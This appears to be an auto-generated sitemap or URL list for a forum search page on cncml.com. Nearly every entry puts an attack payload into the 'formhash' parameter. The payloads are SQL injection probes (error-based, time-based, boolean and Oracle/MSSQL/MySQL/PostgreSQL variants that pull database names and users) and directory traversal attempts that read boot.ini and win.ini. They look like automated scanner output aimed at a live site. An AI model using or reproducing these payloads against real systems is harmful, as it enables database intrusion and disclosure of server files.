http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=................windowswin.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7 0.0005 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x3436383336356537%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=16)%20THEN%200x3436383336356537%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%22%20AND%20%22Wt%22=%22iC 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%22)%20AND%2038=99%20AND%20(%22fE%22=%22fE 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25%22%29%20AND%2031%3D78%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25%27%29%20AND%2028%3D77%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=78)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%20'14'%20LIKE%20'Aa 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%20'mo'='H1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20'wz'='wz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=41)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20'oR'='oR 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%20('Td'%20LIKE%20'C0 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%2013=17%20AND%20('Yw'='Yw 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20OR%2097=97%20AND%20('fw'='fw 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=24)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20('Np'='Np 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20('aH'='aH 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 